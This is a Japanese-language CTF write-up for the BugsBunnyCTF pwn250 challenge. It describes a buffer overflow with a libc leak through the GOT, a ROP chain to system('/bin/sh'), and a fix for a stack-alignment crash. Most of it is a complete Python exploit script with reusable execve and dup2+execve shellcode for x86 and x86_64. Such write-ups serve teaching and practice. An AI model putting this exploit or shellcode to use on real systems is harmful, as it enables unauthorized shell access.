BugsBunnyCTF pwn250 writeup
競技中には手をつけていなくて解けなかったんですが競技終了後に挑戦したら解けたのでwriteupを残そうと思います。
libcが渡されている問題です。
まずはセキュリティ機構の確認
次は動かしてみます
BOFの問題ですね。
続いてディスアセンブルしてみます
スタックを0x80分確保していてreadで入力された値がスタックの1番上に格納されるということがわかりました。
writeが使えるのでこれを使ってGOTの__libc_start_mainのlibcアドレスをリークしてそこからオフセットでlibcのベースアドレスを求めようと考えます。writeは引数が3つ必要でx86_64のバイナリは引数がrdi,rsi,rdxになるのでスタックから各レジスタにpopしてくれるようなガジェットを探します。
return先はhere関数にしてもう一度readさせます。 そのあとsystem("/bin/sh")を起動させるのですが、systemを呼んだ時に
このようにcall __GI___sigactionのときにスタックがrodataを指してしまいSEGVしてしまいました。これは上書きしたsaved ebpの値(今回はbss+0x100)が小さかったために起きてしまったので、もう少し大きな値へ書き換えることで解決しました。
最終的なエクスプロイトコードはこちら
#!/usr/bin/python # -*- coding: utf-8 -*- import __main__, os, sys, struct, socket, telnetlib, subprocess, time from libformatstr import FormatStr proc = '' s = '' def local(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' ')) proc.wait() def pipelocal(cmd): __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE) # socat tcp-listen:4444,reuseaddr,fork exec:./a.out & def sock(remoteip="127.0.0.1", remoteport=4444): __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) time.sleep(0.5) def splitn(data, n): length = len(data) return [data[i:i+n] for i in range(0, length, n)] def writefile(buf_arg,file_name): with open(file_name, 'wb') as f: f.write(buf_arg) def recv(delim='\n', out=1): data = '' while not data.endswith(delim): data += s.recv(1) if(out == 1): print('\nrecv: \n' + data + '\n') return data def recvn(x=1024, out=1): data = '' data += s.recv(x) if(out == 1): print('\nrecv: \n' + data + '\n') return data def send(x, sleep=0.3, out=1): s.sendall(x + '\n') if(out == 1): print('\nsend: \n' + x + '\n') time.sleep(sleep) def u(x): return struct.unpack("<I",x[:4])[0] def u64(x): return struct.unpack("<Q",x[:8])[0] def p(x): return struct.pack("<I",x) def p64(x): return struct.pack("<Q",x) def shell(): if(s != ''): #print('---- interactive mode ----') t= telnetlib.Telnet() t.sock = s t.interact() elif(p != ''): print('---- interactive mode ----') proc.wait() def xxd(a): a = str(a) hexdump.hexdump(a) def read(delim="\n", out=1): data = '' while not data.endswith(delim): data += proc.stdout.readlne(1) if(out == 1): print('\nread: \n' + data + '\n') return data def readn(num=1024, out=1): data = '' while(num>0): data += proc.stdout.read(1) num = num-1 if(out == 1): print('\nread: \n' + data + '\n') return data sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" #-----------START EXPLOIT CODE-----------# got_libc_start_main = 0x601028 write = 0x400436 read = 0x400446 bss = 0x601040 offset_libc = 0x020740 offset_system = 0x045390 offset_binsh = 0x18cd17 sock() raw_input("enter") buf = "A" * 0x80 buf += p64(bss + 0x300) buf += p64(0x0040056a) # pop rdi; pop rsi; pop rdx; ret buf += p64(1) buf += p64(got_libc_start_main) buf += p64(8) buf += p64(write) buf += p64(0x400575) #: lea rax,[rbp-0x80] send(buf) line = recvn() libc_main_addr = u64(line) libc_base = libc_main_addr - offset_libc buf = "A" * 0x88 buf += p64(0x00400633) # pop rdi; ret buf += p64(libc_base + offset_binsh) buf += p64(libc_base + offset_system) send(buf) send(buf) shell()